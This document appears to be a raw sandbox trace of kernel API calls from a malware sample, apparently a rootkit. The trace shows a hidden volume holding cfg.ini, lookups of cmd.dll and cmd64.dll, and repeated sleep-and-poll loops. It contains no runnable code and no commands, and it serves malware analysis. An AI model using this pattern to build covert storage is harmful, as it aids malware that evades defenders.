IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.672] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.672] IdePortDispatch () returned 0x103 [0120.672] KeWaitForMutexObject () returned 0x0 [0120.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.672] KeLeaveCriticalRegion () [0120.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.673] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.673] KeEnterCriticalRegion () [0120.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] KeLeaveCriticalRegion () [0120.673] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.673] KeEnterCriticalRegion () [0120.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.673] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbba70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] KeLeaveCriticalRegion () [0120.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.673] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.673] KeEnterCriticalRegion () [0120.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] ExFreePoolWithTag (P=0xfffffa8003bbb540, Tag=0x0) [0120.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.673] KeLeaveCriticalRegion () [0120.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.673] ReleaseMutex (hMutex=0xf0) returned 1 [0120.673] Sleep (dwMilliseconds=0x124f80) [0120.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.687] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.687] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.687] KeEnterCriticalRegion () [0120.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.687] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.687] IdePortDispatch () returned 0x103 [0120.687] KeWaitForMutexObject () returned 0x0 [0120.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.688] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.688] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.688] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.688] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.688] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] KeLeaveCriticalRegion () [0120.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.688] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.688] KeEnterCriticalRegion () [0120.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] KeLeaveCriticalRegion () [0120.688] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.688] KeEnterCriticalRegion () [0120.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.688] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.688] IdePortDispatch () returned 0x103 [0120.688] KeWaitForMutexObject () returned 0x0 [0120.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] KeLeaveCriticalRegion () [0120.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.688] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.688] KeEnterCriticalRegion () [0120.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.688] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0120.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.688] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.688] IdePortDispatch () returned 0x103 [0120.689] KeWaitForMutexObject () returned 0x0 [0120.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.689] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.689] IdePortDispatch () returned 0x103 [0120.689] KeWaitForMutexObject () returned 0x0 [0120.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.689] KeLeaveCriticalRegion () [0120.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.690] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.690] KeEnterCriticalRegion () [0120.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] KeLeaveCriticalRegion () [0120.690] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.690] KeEnterCriticalRegion () [0120.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.690] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbba70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] KeLeaveCriticalRegion () [0120.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.690] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.690] KeEnterCriticalRegion () [0120.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] KeLeaveCriticalRegion () [0120.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.690] ReleaseMutex (hMutex=0xf0) returned 1 [0120.690] Sleep (dwMilliseconds=0x124f80) [0120.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.705] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.705] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.706] KeEnterCriticalRegion () [0120.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.706] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.706] IdePortDispatch () returned 0x103 [0120.706] KeWaitForMutexObject () returned 0x0 [0120.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.706] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.706] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.706] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.706] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.706] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb1e0 [0120.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.706] KeLeaveCriticalRegion () [0120.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.706] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.706] KeEnterCriticalRegion () [0120.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.706] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.706] KeLeaveCriticalRegion () [0120.706] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.706] KeEnterCriticalRegion () [0120.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.706] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.706] IdePortDispatch () returned 0x103 [0120.706] KeWaitForMutexObject () returned 0x0 [0120.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.707] KeLeaveCriticalRegion () [0120.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.707] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.707] KeEnterCriticalRegion () [0120.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0120.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.707] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.707] IdePortDispatch () returned 0x103 [0120.707] KeWaitForMutexObject () returned 0x0 [0120.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.707] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.707] IdePortDispatch () returned 0x103 [0120.707] KeWaitForMutexObject () returned 0x0 [0120.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.707] KeLeaveCriticalRegion () [0120.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.708] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.708] KeEnterCriticalRegion () [0120.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] KeLeaveCriticalRegion () [0120.708] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.708] KeEnterCriticalRegion () [0120.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.708] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] KeLeaveCriticalRegion () [0120.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.708] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.708] KeEnterCriticalRegion () [0120.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] ExFreePoolWithTag (P=0xfffffa8003bbb1e0, Tag=0x0) [0120.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.708] KeLeaveCriticalRegion () [0120.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.708] ReleaseMutex (hMutex=0xf0) returned 1 [0120.708] Sleep (dwMilliseconds=0x124f80) [0120.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.722] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.722] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.722] KeEnterCriticalRegion () [0120.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.723] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.723] IdePortDispatch () returned 0x103 [0120.723] KeWaitForMutexObject () returned 0x0 [0120.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbb00 [0120.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.723] KeLeaveCriticalRegion () [0120.723] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.723] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.723] KeEnterCriticalRegion () [0120.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.723] KeLeaveCriticalRegion () [0120.723] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.723] KeEnterCriticalRegion () [0120.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.723] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.723] IdePortDispatch () returned 0x103 [0120.723] KeWaitForMutexObject () returned 0x0 [0120.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.723] KeLeaveCriticalRegion () [0120.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.724] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.724] KeEnterCriticalRegion () [0120.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cb000 [0120.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.724] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.724] IdePortDispatch () returned 0x103 [0120.724] KeWaitForMutexObject () returned 0x0 [0120.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.724] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.724] IdePortDispatch () returned 0x103 [0120.724] KeWaitForMutexObject () returned 0x0 [0120.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.724] KeLeaveCriticalRegion () [0120.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.725] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.725] KeEnterCriticalRegion () [0120.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] KeLeaveCriticalRegion () [0120.725] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.725] KeEnterCriticalRegion () [0120.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.725] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] KeLeaveCriticalRegion () [0120.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.725] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.725] KeEnterCriticalRegion () [0120.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] ExFreePoolWithTag (P=0xfffffa8003bbbb00, Tag=0x0) [0120.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] KeLeaveCriticalRegion () [0120.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.725] ReleaseMutex 